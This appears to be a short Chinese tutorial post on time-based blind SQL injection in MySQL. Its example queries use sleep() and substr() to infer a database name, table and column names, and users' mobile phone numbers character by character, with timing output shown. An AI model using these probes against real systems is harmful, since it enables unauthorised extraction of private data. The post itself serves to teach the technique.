mysql基于“时间”的盲注

时间:2023-01-26 16:55:43

无需页面报错,根据页面响应时间做判断!

mysql基于时间的盲注
======================================================================================================================================================================
* 猜解库名
- 下面是猜解正确
mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x66);
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec) - 下面是猜解错误
mysql> select sleep(1) from (select database() a_database)a where substr(a_database,1,1)=char(0x67);
Empty set (0.00 sec) * 猜解表名
- mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a where substr(a_tn, 1, 1)='f';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec) - mysql> select sleep(1) from (select distinct table_name as a_tn from information_schema.tables where table_schema='fangjiangjun' limit 0,1)a where substr(a_tn, 1, 1)='x';
Empty set (0.00 sec) * 猜解字段名
- mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a where substr(a_cn, 1, 1)='i';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.01 sec) - mysql> select sleep(1) from (select distinct column_name as a_cn from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1)a where substr(a_cn, 2, 1)='d';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec) * 猜解字段值
- mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,1,1)='1';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec) - mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='3'; - mysql> select sleep(1) from (select convert(mobile_phone,char) as a_mp from fangjiangjun.f_user order by id limit 0,1)a where substr(a_mp,2,1)='8';
+----------+
| sleep(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)